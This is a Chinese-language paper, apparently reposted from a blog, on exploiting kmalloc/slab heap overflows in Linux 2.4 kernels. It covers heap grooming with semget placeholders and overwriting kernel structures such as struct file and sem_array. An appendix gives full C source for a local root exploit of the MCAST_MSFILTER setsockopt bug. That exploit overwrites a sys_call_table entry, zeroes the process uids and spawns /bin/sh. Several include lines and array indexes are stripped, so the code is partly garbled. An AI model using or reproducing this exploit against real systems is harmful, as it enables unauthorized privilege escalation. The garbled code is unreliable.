内容:
1 -- 介绍
2 -- kmalloc/slab简介
3 -- kmalloc/slab的关键特性
4 -- kmalloc exploit
5 -- 更进一步
6 -- 最后
7 -- 参考资料
8 -- 附录 (kexp-msfilter.c)
一、** 介绍
关注isec很长时间了,一直对他们在Linux内核方面的技术研究成果很佩服,同时自己也一直
在跟踪和分析这方面的技术,但是由于时间及精力所限一直没能更深入一步进行系统的研究和总
结。这一段恰好有些时间,和airsupply一起在内核溢出方面进行了一些研究,也写出了几个
isec公布的漏洞的利用代码。为了能对我们的阶段性的工作有所归纳和总结,我们开始着手去写
《linux内核溢出研究》系列的paper。写这个文档的一个目的也是为了与国内对这方面有兴趣的
朋友共享我们的经验,促进我们在内核安全方面的研究和交流。
阅读这面文档需要你具有一些Linux内核方面的知识,同时要能读懂一点C和汇编代码。文章里
提到的技术和代码是基于x86架构的Linux kernel-2.4.22的,在其它的系统环境中也许有所不同。
二、** kmalloc/slab
这部分只是非常简单的介绍一下kmalloc,如果你知道kmalloc和slab是什么,那跳过这部分。
对于kmalloc exploit有用的特性,我们在这里并未描述。
slab是一种缓冲区分配和管理的方法,Linux内核也采用了这种方法,并进行了改进。Linux内核
使用slab机制进行管理的缓冲区(caches)有两种,一种是专用缓冲区,另一种是通用缓冲区。通用缓
冲区的分配是通过调用kmalloc函数来完成的,在内核里被广泛使用,在这里我们只关注它。
我们来看kmalloc函数代码:
void * kmalloc (size_t size, int flags)
{
cache_sizes_t *csizep = cache_sizes; <--- A
for (; csizep->cs_size; csizep++) {
if (size > csizep->cs_size)
continue;
return __kmem_cache_alloc(flags & GFP_DMA ? <--- B
csizep->cs_dmacachep : csizep->cs_cachep, flags);
}
return NULL;
}
A处指向的cache_sizes是一个用来描述通用缓冲池的数据结构,其中根据不同的缓冲区的大小分成
若干队列。它是一个cache_sizes_t类型的数组,数组中的每一个元素描述一个特定尺寸对象的缓冲区,
对于每个尺寸的对象分别对应两个slab队列,一个是用于DMA用途分配,另一个则用于非DMA用途分配。
下面是cache_sizes的定义:
/* Size description struct for general caches. */
typedef struct cache_sizes {
size_t cs_size;
kmem_cache_t *cs_cachep;
kmem_cache_t *cs_dmacachep;
} cache_sizes_t;
static cache_sizes_t cache_sizes[] = {
#if PAGE_SIZE == 4096
{ 32, NULL, NULL},
#endif
{ 64, NULL, NULL},
{ 128, NULL, NULL},
{ 256, NULL, NULL},
{ 512, NULL, NULL},
{ 1024, NULL, NULL},
{ 2048, NULL, NULL},
{ 4096, NULL, NULL},
{ 8192, NULL, NULL},
{ 16384, NULL, NULL},
{ 32768, NULL, NULL},
{ 65536, NULL, NULL},
{131072, NULL, NULL},
{ 0, NULL, NULL}
};
kmalloc通过一个for循环语句来遍历这个数组中的元素,直到找到一个能够满足调用者指定的size大小的
缓冲区描述,然后在B处根据调用者传入的标志来选择DMA或非DMA slab队列,再调用__kmem_cache_alloc
在该队列中分配一个缓冲区并返回给调用者。
三、** kmalloc/slab的关键特性
为了能够利用kmalloc溢出漏洞,我们需要了解与kmalloc的三个关键特性(由于kmalloc是基于slab算法的,
因此kmalloc的特性几乎完全由slab算法的实现决定8-)
1、kmalloc/slab是基于伙伴算法的,一个slab块包含多个slab对象,它们是相邻的
slab管理的对象的缓冲区队列是由一连串的slab块组成,而每个slab块内包含若干同种对象。换句话说,
每个slab块内包含多个同种slab对象,对于kmalloc来说,就是在同一个slab块内存放了多个同样大小的
slab对象,即在一个slab块内kmalloc可以分配的内存块是相邻的。
这一点可以通过slab分配代码看出来。当现有slab队列中没有空闲的slab对象时,kmem_cache_grow函数将
被调用。在kmem_cache_grow将会进一步调用kmem_getpages为slab缓冲区分配新的内存,
...
/* Get mem for the objs. */
if (!(objp = kmem_getpages(cachep, flags)))
...
而在kmem_getpages函数里最终调用了__get_free_pages(即system's page allocator,它使用了伙伴算法),
同时传入了cachep->gfporder指定分配的页面数量,注意gfporder是每个slab块占用的页面数,
static inline void * kmem_getpages (kmem_cache_t *cachep, unsigned long flags)
{
...
flags |= cachep->gfpflags;
addr = (void*) __get_free_pages(flags, cachep->gfporder);
...
return addr;
}
2、kmalloc/slab的分配和释放使用的是LIFO队列
这一点从代码很容易看出:
kmalloc -> __kmem_cache_alloc -> skmem_cache_alloc_on
e -> kmem_cache_alloc_one_tail
...
slabp->inuse++;
objp = slabp->s_mem + slabp->free*cachep->objsize;
slabp->free=slab_bufctl(slabp)[slabp->free];
...
kfree -> __kmem_cache_free -> kmem_cache_free_one
...
{
unsigned int objnr = (objp-slabp->s_mem)/cachep->objsize;
slab_bufctl(slabp)[objnr] = slabp->free;
slabp->free = objnr;
}
...
3、kmalloc/slab分配的内存释放的时候,内容并没有被清除
四、** kmalloc exploit
我们来看一个例子:
-------------------------------------
| | |
... | slab对象A | slab对象B | ...
| | |
-------------------------------------
假设上面是一个64字节通用缓冲区中的一个slab块,块中有多个slab对象,内核中有如下代码片段
...
char *buf = kmalloc(64);
copy_from_user(buf, parm, 80);
...
当kmalloc时,slab对象A被分配给buf,当执行copy_from_user后,buf将被溢出。在slab块中,与对
象A相邻的对象B将被溢出16个字节,如果此时对象B恰好被分配用于存放一个重要的数据结构,那么我
们就有可能通过更改这个数据结构中的某个重要的变量值提升权限(通常某个函数指针是一个好的选择)!
是不是看起来很容易?但是要注意了,要成功的利用上面这个例子的漏洞,我们还有几个问题需要解决:
?如何才能使被溢出的slab对象和我们想要覆盖的目标数据结构所在的slab对象是相邻的?
要做到这点,我们必需保证连续的两次对同一大小slab的申请能够得到相邻的两个slab对象。事实上,
在真实的系统环境中这一点是很难保证的,因为在系统使用过程中,内核会经常的使用kmalloc分配
内存,使用完成后又使用kfree释放,这样就使得slab算法维护的可分配slab对象表(partially and free slabs list)
中slab对象之间是没有任何位置关系的,也就是说这时我们连续两次申请得到的内存块,不但不能保
证它们是相邻的,甚至不能保证它们位于同一个slab块内,这样我们的溢出将是完全不可控的。
为了解决这个问题,在UNF的paper中提到了一个“经验”方法。这个方法就是:在他们的测试环境中,
在将现有的slab消耗(不断的分配)到只剩下最后四个未被分配的slab对象时,对这最后四个slab对象
的申请所得到的内存块地址将是连续的。
在我的实际测试中,这个方法确实有一定的成功率,但是这个方法过于“经验”,对系统环境的依赖性
很强,在实际环境中有时非常容易失败,进而导致系统崩溃。
不过我们想到了一个改进的更好的方法。我们首先耗尽我们的溢出所关注的slab缓冲区中现有的所有slab
对象,这时再有对这个slab缓冲区的分配请求的话,系统将创建一块新的slab块,然后从这个新的slab
块中分配一个slab对象返回给申请者。我们来看看系统对新slab块中的slab对象是如何初始化的,
static inline void kmem_cache_init_objs (kmem_cache_t * cachep,
slab_t * slabp, unsigned long ctor_flags)
{
...
for (i = 0; i < cachep->num; i++) {
void* objp = slabp->s_mem+cachep->objsize*i;
...
slab_bufctl(slabp)
= i+1;
}
slab_bufctl(slabp)[i-1] = BUFCTL_END;
slabp->free = 0;
}
可以看到在for循环内,新的slab块将按照cachep->objsize将内存分成若干块,每块就是一个slab对象。
对每一个新的slab对象都有一个slab_bufctl(slabp) = i+1处理。这个语句的作用是把当前对象的
下一个free对象设置为当前slab块内地址与其相邻的下一个对象。最后初始化函数将slab块的第一个free
对象设置为0,即块中的第一个对象。到这里就不难看出,对于新分配的slab块,块内的free-slab表(实际
上可以看做是一个LIFO队列)中的对象在内存上都是顺序的,这样我们再申请的slab分配得到的slab对象
就都是相邻的。
?如何才能保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了呢?
虽然在处理上面的问题时,我们已经可以得到相邻的两个slab对象了,但是往往在第一个被溢出的slab
分配后,在返回到应用程序之前溢出就已经发生了(看前面的例子),而这时我们的第二个slab对象还没
被申请,我们要覆盖的数据结构还没在内存中,这样我们的溢出就无法利用了。
这时我们前面介绍的kmalloc的第二个特性就有用了。由于slab对内存的分配释放是使用LIFO队列,所以
我们可以这样做:首先触发发一个个kalloc去分配与溢出目标尺寸的slab对象作为placeholder(占位),
然后再去触发目标数据结构所需的内存的kmalloc,这时slab块中的情景如下:
------------------------------------------
| | |
... | placeholder | obj-struct | ...
| | |
------------------------------------------
然后我们释放掉placeholder,然后再触发被将溢出的slab对象的分配,由于slab对象的分配释放使用的是
一个后入先出队列,所以将被溢出的slab对象就是刚被释放的placeholder。在溢出发生前,内存的情景如下:
------------------------------------------
| | |
... | overflow-obj | obj-struct | ...
| | |
------------------------------------------
通过这个办法,就保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了,这样我们就可以覆盖我们
指定的数据结构。
?我们如何在应用层做到上面提到的slab对象消耗和分配placeholder呢?
有多个系统调用可以完成这个任务,几个用于IPC的系统调用都可以,但是UNF的paper中提到的sys_semget
比较好,因为它分配的slab对象的尺寸是可控的。每次我们调用sys_semget创建信号量,内核都会使用
kmalloc分配一块内存存放相关数据结构,而且这个数据结构一直存在,直到我们调用删除操作。
sys_semget -> newary
...
size = sizeof (*sma) + nsems * sizeof (struct sem);
sma = (struct sem_array *) ipc_alloc(size);
...
注意上面计算size的代码中的nsems是系统调用的参数,在应用层可以指定。这样我们就可以在任意尺寸的
通用缓冲区中来完成slab对象的消耗和占位。
?我们如何知道什么时候slab被耗尽了呢?从哪里可以看出系统当前还有多少active的slab对象呢?
通过/proc/slabinfo可以得到系统kmalloc的slab信息
grip2@debian:~$ cat /proc/slabinfo
slabinfo - version: 1.1
...
size-131072(DMA) 0 0 131072 0 0 32
size-131072 0 0 131072 0 0 32
size-65536(DMA) 0 0 65536 0 0 16
size-65536 0 0 65536 0 0 16
size-32768(DMA) 0 0 32768 0 0 8
size-32768 0 0 32768 0 0 8
size-16384(DMA) 1 1 16384 1 1 4
size-16384 0 1 16384 0 1 4
size-8192(DMA) 0 0 8192 0 0 2
size-8192 14 14 8192 14 14 2
size-4096(DMA) 0 0 4096 0 0 1
size-4096 30 32 4096 30 32 1
size-2048(DMA) 0 0 2048 0 0 1
size-2048 41 44 2048 22 22 1
size-1024(DMA) 0 0 1024 0 0 1
size-1024 30 36 1024 8 9 1
size-512(DMA) 0 0 512 0 0 1
size-512 74 80 512 10 10 1
size-256(DMA) 0 0 256 0 0 1
size-256 15 30 256 2 2 1
size-128(DMA) 2 30 128 1 1 1
size-128 478 510 128 16 17 1
size-64(DMA) 0 0 64 0 0 1
size-64 87 118 64 2 2 1
size-32(DMA) 2 113 32 1 1 1
size-32 270 339 32 3 3 1
下面是man page里对slabinfo每列数据所代表含义的描述:
For each slab cache, the cache name, the number of currently active objects,
the total number of available objects, the size of each object in bytes,
the number of pages with at least one active object, the total number of allocated pages,
and the number of pages per slab are given.
遗憾的是,在SMP系统环境下,/proc/slabinfo内的信息并不总是能立即反馈系统内真实的slab使用信息,但是
没关系,对于这个问题我们想到了其它办法解决,在文章的后续部分我们将会提及。
?我们应该覆盖什么的数据结构才能提升权限呢?
通常这个数据结构最好包含一个函数指针,而且应用层应该有机会通过这个指针来调用函数,还有一点就是
这个数据结构的分配应该可以在用户层控制,并且它是通过kmalloc被调用的。满足这个条件的数据结构相信
你在内核可以找到很多,例如struct file结构,
struct file {
struct list_head f_list;
struct dentry *f_dentry;
struct vfsmount *f_vfsmnt;
struct file_operations *f_op;
atomic_t f_count;
unsigned int f_flags;
mode_t f_mode;
loff_t f_pos;
unsigned long f_reada, f_ramax, f_raend, f_ralen, f_rawin;
struct fown_struct f_owner;
unsigned int f_uid, f_gid;
int f_error;
unsigned long f_version;
/* needed for tty driver, and maybe others */
void *private_data;
/* preallocated helper kiobuf to speedup O_DIRECT */
struct kiobuf *f_iobuf;
long f_iobuf_lock;
};
struct file结构中的f_op指针为file_operations结构类型,这个结构中定义了对文件进行各种操作时所
对应的回调处理函数:
struct file_operations {
...
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
...
};
除了函数指针以外,还有其它信息也可以用于提升权限,比如上个问题中用于消耗slab的sys_semget所使用
的数据结构,
struct sem_array {
struct kern_ipc_perm sem_perm; /* permissions .. see ipc.h */
time_t sem_otime; /* last semop time */
time_t sem_ctime; /* last change time */
struct sem *sem_base; /* ptr to first semaphore in array */
struct sem_queue *sem_pending; /* pending operations to be processed */
struct sem_queue **sem_pending_last; /* last pending operation */
struct sem_undo *undo; /* undo requests on this array */
unsigned long sem_nsems; /* no. of semaphores in array */
};
通过覆盖结构中的sem_base成员,就可以对任意内核地址进行读写,见相应内核代码:
sys_semctl -> semctl_main
...
sma = sem_lock(semid);
...
curr = &sma->sem_base[semnum];
...
switch (cmd) {
case GETVAL:
err = curr->semval;
goto out_unlock;
...
case SETVAL:
{
int val = arg.val;
struct sem_undo *un;
err = -ERANGE;
if (val > SEMVMX || val < 0)
goto out_unlock;
for (un = sma->undo; un; un = un->id_next)
un->semadj[semnum] = 0;
curr->semval = val;
curr->sempid = current->pid;
sma->sem_ctime = CURRENT_TIME;
/* maybe some queued-up processes were waiting for this */
update_queue(sma);
err = 0;
goto out_unlock;
}
...
你可以写current、写sys_call_table 等等...
好了,现在回顾前面的例子,你认为还有什么问题没有解决吗?
我们现在是不是就可以完成kmalloc exploit了呢 8-) ... enjoy
五、** 更进一步
看懂一个技术理论容易,但实现却通常不容易,在我写EXP的时候发现,实现我认为已经很明白的东西要比想象
的麻烦很多,会遭遇到很多没有想到的困难。下面是我们在写实际的kmalloc溢出利用程序时遇到的一些问题和
想到的一些新的技术、方法。这些方法有的实现了有的还未测试,在这里简单的罗列一下,如果有兴趣可以一起
探讨,这也是我们下一步充实和研究kmalloc溢出利用技术的方向。
1. /proc/slabinfo
通过读取slabinfo,我们可以足够的用于溢出使用的信息。但是遗憾的是,在我们的测试中发现,在SMP系统下
cat /proc/slabinfo显示的信息并不能与系统的真实情况同步。虽然air发现有些情况这个信息更新的很及时,
但是到现在为止,我们还不能确认规律,这个也有待进一步试验。
2. 另一个得到相邻slab对象的方法(不依赖于/proc/slabinfo)
由于SMP环境下slabinfo存在的问题,消耗完现有系统slab对象以保证得到相邻slab对象的方法也就不在可行,
因为slabinfo信息不准确,我们无法准确得知目前系统有多少个slab对象需要我们预先消耗。不过,即使没有
slabinfo的支持,我们也还有另外一个方法。通常我们可以假设当前系统的slab对象分配尽后,此尺寸的slab
对象的数量并不会达到系统上限(通常都是这样,我还未遇到例外的情况),所以我们可以一直消耗slab对象到
系统上限,这个我们可以通过函数的返回值判断出来,然后我们从尾部的slab对象中释放两个连续对象供我们
的溢出使用,由于前面的假设,所以我们分配的尾部的slab对象一定是在一个新的slab块中,所以它们一定是
相邻的。
3、关于特性三
在kmalloc/slab的特性部分我们提到了三个特性,其中第三个特性在前面并没有被引用。这是因为在本文介绍
的例子中并不需要这个特性,但是在真实漏洞的利用中你也许会用得到。
4、关于isec-0015-msfilter漏洞的利用
本来想拿isec-0015-msfilter的漏洞做一个实例分析,但是想了想解释这个漏洞的利用会引入很多内容(比如进程
权限的提升、漏洞触发的具体条件和一些“讨厌”的约束),那会把这篇文章弄的很复杂,太多的内容会对理解
kmalloc利用的基本技术造成障碍。
随便说一下,如果你研究了isec-0015-msfilter内核漏洞,你也许会发现由于漏洞触发环境的各种约束,可以覆盖
的有价值的数据结构很少,甚至只能找到一些数据的读写地址供覆盖,最后可能只有通过拦截系统调用的方法来提
升权限,而我们知道在有的环境下无法在应用层准确的得到sys_call_table的地址。不过我们后来想到我们可以将
前面提到的“得到相邻slab对象”技术用到溢出数据源本身,这样可以突破漏洞本身对溢出数据源长度的限制,进
而可以覆盖任意的通过kmalloc分配地址的数据结构了,就不再需要sys_call_table了。
六、** 最后
感觉写paper总是比写代码更难,有时解决一个技术问题不易,但是描述和解释一个技术问题却更难,
所以如果文章哪里写的不清楚,存在什么问题,请大家指出和谅解。最后,希望能有更多的交流。
七、** 参考资料
1 Linux内核情景分析
2 kmalloc_exploition.pdf
3 isec-0015-msfilter
4 内核源代码参考
八、** 附录 (kexp-msfilter.c)
下面是isec-0015-msfilter内核漏洞的利用代码,虽然这不是一个通用版本,但是足够作为一个kmalloc exploition
的真实例子了。
/*
* Linux kernel setsockopt MCAST_MSFILTER privilege elevation
* For kernel 2.4.22 - 2.4.25
*
* 2006-04-07
* Written by grip2 <>
*
* grip2@debian:~/kernel-sec/exp-msfilter$ ./kexp-msfilter
* numsrc: 0x4000000c msize: 0x40 gsize: 0x68c optlen: 0x68c
* Prepare ...
* full_numsrc: 15 overflow_numsrc: 3
* size-64 87 118 64 2 2 1
* size-64 119 177 64 3 3 1
* Exploiting ...
* setsockopt: Cannot assign requested address
* sh-2.05b#
**/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define KB * 1024
#define MB * 1024 KB
#define GB * 1024 MB
#define NOP 'A'
int uid, gid;
unsigned task_size;
unsigned user_cs,user_ds;
void **sys_call_table;
#define __NR_hijack_getroot 0
static inline _syscall1(int, hijack_getroot, unsigned long *, val)
#define SOL_IP 0
#define MY_NUMSRC 12
#define SIZE_PIPE_INODE_INFO 64 /* sizeof(struct pipe_inode_info) */
#define SLAB_SIZE (fix_slabsize(SIZE_PIPE_INODE_INFO))
#define MAX_SEM_LIMIT 4096
static int sem_handles[MAX_SEM_LIMIT];
static int sem_count = 0;
/*
* (kernel-2.4.22) -- ipc/sem.c
* ...
* size = sizeof (*sma) + nsems * sizeof (struct sem);
* sma = (struct sem_array *) ipc_alloc(size);
* ...
*/
#define COMPUTE_NSEMS(slabsize) (((fix_slabsize(slabsize)) - 56) / 8);
static int fix_slabsize(slabsize)
{
/*
* (kernel-2.4.22)
**/
int cache_sizes[] = {
#if PAGE_SIZE == 4096
32,
#endif
64,
128,
256,
512,
1024,
2048,
4096,
8192,
16384,
32768,
65536,
131072,
};
int num, i;
num = sizeof(cache_sizes)/sizeof(int);
for (i = 0; i < num; i++) {
if (cache_sizes < slabsize)
continue;
slabsize = cache_sizes;
break;
}
return slabsize;
}
unsigned long get_sys_call_table(void)
{
FILE *fp;
char linebuf[128];
char stuff[64];
unsigned long addr;
int found = 0;
int r;
fp = fopen("/proc/ksyms", "r");
if (fp == NULL) {
perror("fopen /proc/ksyms");
return;
}
while (!feof(fp)) {
if (!fgets(linebuf, sizeof(linebuf), fp))
continue;
memset(stuff, 0 ,sizeof(stuff));
r = sscanf(linebuf, "%x %s", &addr, stuff);
if (r != 2 || !strstr(stuff, "sys_call_table"))
continue;
printf(linebuf);
found = 1;
break;
}
fclose(fp);
return found ? addr : 0;
}
static void prepare_slab(int slabsize, int left)
{
FILE *fp;
char linebuf[128];
int r, found = 0;
int s_size, s_active, s_total;
int nsems;
slabsize = fix_slabsize(slabsize);
nsems = COMPUTE_NSEMS(slabsize);
fp = fopen("/proc/slabinfo", "r");
if (fp == NULL) {
perror("fopen /proc/slabinfo");
return;
}
while (!feof(fp)) {
if (!fgets(linebuf, sizeof(linebuf), fp))
continue;
r = sscanf(linebuf, "size-%d %d %d", &s_size, &s_active, &s_total);
if (r != 3 || s_size != slabsize)
continue;
printf(linebuf);
found = 1;
break;
}
fclose(fp);
if (found) {
int i, num;
num = s_total - s_active - left;
num = (num <= (MAX_SEM_LIMIT-sem_count)) ? num : (MAX_SEM_LIMIT-sem_count);
for (i = sem_count; i < num; i++, sem_count++) {
sem_handles = semget(IPC_PRIVATE, nsems, IPC_CREAT);
}
}
return;
}
static void de_prepare_slab()
{
int i;
for (i = 0; i < sem_count; i++) {
if (sem_handles != -1)
if (semctl(sem_handles, 0, IPC_RMID)) perror("ipc_rmid");
}
sem_count = 0;
}
void shellcode(void)
{
char *p[] ={"/bin/sh", 0};
// de_prepare_slab();
execve("/bin/sh",p,0);
_exit(0);
}
void configure(void)
{
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
uid = getuid();
gid = getgid();
user_ds = myget_ds();
user_cs = myget_cs();
}
void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid
)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */
}
void set_root(unsigned int *ts)
{
if((unsigned int*)*ts!=NULL)
ts = (int*)*ts;
int cntr;
for(cntr = 0; cntr <= 512; cntr++, ts++)
if( ts[0] == uid && ts[1] == uid && ts[4] == gid && ts[5] == gid)
ts[0] = ts[1] = ts[4] = ts[5] = 0;
}
int myget_cs()
{
__asm__("movl %cs,%eax\n");
}
int myget_ds()
{
__asm__("movl %ds,%eax\n");
}
/*
* kernel 2.4.x/2.6.x privilege elevator
**/
extern load_highlevel;
__asm__
(
"load_highlevel: \n\t"
"mov $0xffffe000,%eax\n\t"
"and %esp,%eax \n\t"
"pushl %eax \n\t"
"call set_root \n\t"
"pop %eax \n\t"
"cli \n\t"
"movl $user_ds,%eax \n\t"
"pushl (%eax)\n"
"pop %ds \n\t" /* DS */
"pushl %ds \n\t" /* SS */
"pushl $0xc0000000 \n\t" /* ESP */
"pushl $0x246 \n\t" /* EFLAGS */
"movl $user_cs,%eax \n\t" /* CS */
"pushl (%eax) \n\t"
"pushl $shellcode \n\t"
"iret \n\t"
);
int main(int argc, char *argv[])
{
int sock = -1;
int victim_pipe[2] = {-1, -1};
int holderid = -1;
struct group_filter *gsf = NULL; /* &optval */
int optlen, optlen_align;
int nsems;
int pid;
int status;
unsigned int numsrc, full_numsrc, of_numsrc /* overflow numsrc */;
int msize, gsize, i;
struct sockaddr_in *psin;
sys_call_table = (void *) get_sys_call_table();
if (!sys_call_table)
goto err;
sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock == -1) {
perror("socket");
goto err;
}
optlen = sizeof(struct group_filter) +
sizeof(struct sockaddr_storage) * (MY_NUMSRC-1);
optlen_align = fix_slabsize(optlen);
/*
* (kernel-2.4.22)
* ...
* define IP_MSFILTER_SIZE(numsrc) \
* (sizeof(struct ip_msfilter) - sizeof(__u32) \
* + (numsrc) * sizeof(__u32))
*/
numsrc = ((4 - (sizeof(struct ip_msfilter) - 4)))/4 + (SLAB_SIZE - 4)/4;
msize = IP_MSFILTER_SIZE(numsrc);
gsize = GROUP_FILTER_SIZE(numsrc);
printf("numsrc: 0x%x msize: 0x%x gsize: 0x%x optlen: 0x%x\n",
numsrc, msize, gsize, optlen);
if (argc == 2 && !strcmp(argv[1], "-w"))
exit(EXIT_SUCCESS);
gsf = malloc(optlen_align);
if (gsf == NULL) {
perror("malloc");
goto err;
}
memset(gsf, 'A', optlen);
/*
* Prepare
**/
printf("Prepare ...\n");
gsf->gf_numsrc = numsrc;
gsf->gf_interface = 0;
gsf->gf_fmode = 0;
psin = (struct sockaddr_in *) &gsf->gf_group;
psin->sin_family = AF_INET;
for (i = 0; i < MY_NUMSRC; i++) {
psin = (struct sockaddr_in *) &gsf->gf_slist;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = 0x43434343;
}
full_numsrc = (optlen_align - sizeof(struct group_filter))
/ sizeof(gsf->gf_slist[0]) + 1 + 1;
of_numsrc = full_numsrc
- ((SLAB_SIZE - 20 /* sizeof(struct ip_msfilter) */) / 4 + 1);
printf("full_numsrc: %d \toverflow_numsrc: %d\n", full_numsrc, of_numsrc);
for (; i < full_numsrc; i++) {
psin = (struct sockaddr_in *) &gsf->gf_slist;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = 0x44444444;
}
assert(of_numsrc == 3);
psin = (struct sockaddr_in *) &gsf->gf_slist[full_numsrc-of_numsrc-1+3]; /* char *base */
psin->sin_addr.s_addr = (unsigned int) &sys_call_table[__NR_hijack_getroot];
setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf, optlen_align);
prepare_slab(SLAB_SIZE, -1);
prepare_slab(SLAB_SIZE, 4);
nsems = COMPUTE_NSEMS(SLAB_SIZE);
holderid = semget(IPC_PRIVATE, nsems, IPC_CREAT);
if (holderid == -1) {
perror("semget IPC_NEW");
goto err;
}
if (pipe(victim_pipe) == -1) {
perror("pipe");
goto err;
}
semctl(holderid, 0, IPC_RMID);
printf("Exploiting ...\n");
semctl(holderid, 0, IPC_RMID);
if (setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf, optlen) == -1)
perror("setsockopt");
/*
* Get root
**/
char *p_load_highlevel = (void *) &load_highlevel;
if (fork() == 0)
{
int cnt;
alarm(1);
cnt = write(victim_pipe[1], &p_load_highlevel, 4);
if (cnt == -1) {
perror("write pipe");
goto err;
}
exit(0);
}
sleep(2);
if ((pid = fork()) == 0) {
configure();
hijack_getroot(0);
printf("Failed to get root!\n");
_exit(-1);
}
while (1) {
if (waitpid(pid, &status, 0) < 0)
break;
}
de_prepare_slab();
free(gsf);
close(sock);
close(victim_pipe[0]);
close(victim_pipe[1]);
return EXIT_SUCCESS;
err:
if (victim_pipe[0] > 0) {
close(victim_pipe[0]);
close(victim_pipe[1]);
}
de_prepare_slab(); /* it's safe */
if (holderid != -1)
semctl(holderid, 0, IPC_RMID);
if (gsf)
free(gsf);
if (sock != -1)
close(sock);
return EXIT_FAILURE;
}
轉自:http://eagleskys.blog.163.com/blog/static/44886614201002144226268/